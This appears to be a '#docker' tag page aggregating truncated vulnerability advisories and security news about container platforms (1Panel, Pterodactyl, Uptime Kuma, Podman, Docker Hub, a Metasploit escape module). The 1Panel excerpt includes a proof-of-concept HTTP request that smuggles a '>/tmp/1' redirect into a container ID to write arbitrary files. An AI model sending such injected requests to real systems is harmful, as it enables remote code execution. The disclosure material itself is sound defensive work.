#docker

### Summary There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol `>` to achieve arbitrary file writing ### PoC Dockerfile ``` FROM bash:latest COPY echo.sh /usr/local/bin/echo.sh RUN chmod +x /usr/local/bin/echo.sh CMD ["echo.sh"] ``` echo.sh ``` #!/usr/local/bin/bash echo "Hello, World!" ``` Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking care to change the containerID to the malicious container we constructed ``` GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1 Host: xxxx:42713 Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, li...

This Metasploit module performs a container escape onto the host as the daemon user. It takes advantage of the SYS_MODULE capability. If that exists and the linux headers are available to compile on the target, then we can escape onto the host.

By Waqas A new botnet called Goldoon targets D-Link routers and NAS devices putting them at risk of DDoS attacks and more. Learn how weak credentials leave you vulnerable and how to secure your network. pen_spark This is a post from HackRead.com Read the original post: New Goldoon Botnet Targeting D-Link Devices by Exploiting 9-Year-Old Flaw

### Impact Importing a malicious egg or gaining access to wings instance could lead to XSS on the panel, which could be used to gain an administrator account on the panel. Specifically, the following things are impacted: - Egg Docker images - Egg variables: - Name - Environment variable - Default value - Description - Validation rules Additionally, certain fields would reflect malicious input, but it would require the user knowingly entering such input to have an impact. To iterate, this would require an administrator to perform actions and can't be triggered by a normal panel user. ### Workarounds No workaround is available other than updating to the latest version of the panel. ### Patches All of the following commits are required to resolve this security issue: https://github.com/pterodactyl/panel/commit/1172d71d31561c4e465dabdf6b838e64de48ad16 https://github.com/pterodactyl/panel/commit/f671046947e4695b5e1c647df79305c1cefdf817 https://github.com/pteroda...

### Summary Installation of a maliciously crafted plugin allows for remote code execution by an authenticated attacker. ### Details Uptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login. After downloading a plugin, it's installed by calling `npm install` in the installation directory of the plugin: https://github.com/louislam/uptime-kuma/blob/8c60e902e1c76ecbbd1b0423b07ce615341cb850/server/plugins-manager.js#L210-L216 Because the plugin is not validated against the official list of plugins or installed with `npm install --ignore-scripts`, a maliciously crafted plugin taking advantage of [npm scripts](https://docs.npmjs.com/cli/v9/using-npm/scripts) can gain remote code execution. ### PoC In the PoC below, the plugin at https://github.com/n-thumann/npm-install-script-poc will be installed. It only consists of an empty `inde...

The purported metadata for each these containers had embedded links to malicious files.

Cybersecurity researchers have discovered multiple campaigns targeting Docker Hub by planting millions of malicious "imageless" containers over the past five years, once again underscoring how open-source registries could pave the way for supply chain attacks. "Over four million of the repositories in Docker Hub are imageless and have no content except for the repository

Red Hat Security Advisory 2024-2066-03 - An update for buildah is now available for Red Hat Enterprise Linux 9.0 Extended Update Support.

Red Hat Security Advisory 2024-2055-03 - An update for buildah is now available for Red Hat Enterprise Linux 9.

An information disclosure vulnerability was found in containers/podman in versions before 2.0.5. When using the deprecated Varlink API or the Docker-compatible REST API, if multiple containers are created in a short duration, the environment variables from the first container will get leaked into subsequent containers. An attacker who has control over the subsequent containers could use this flaw to gain access to sensitive information stored in such variables.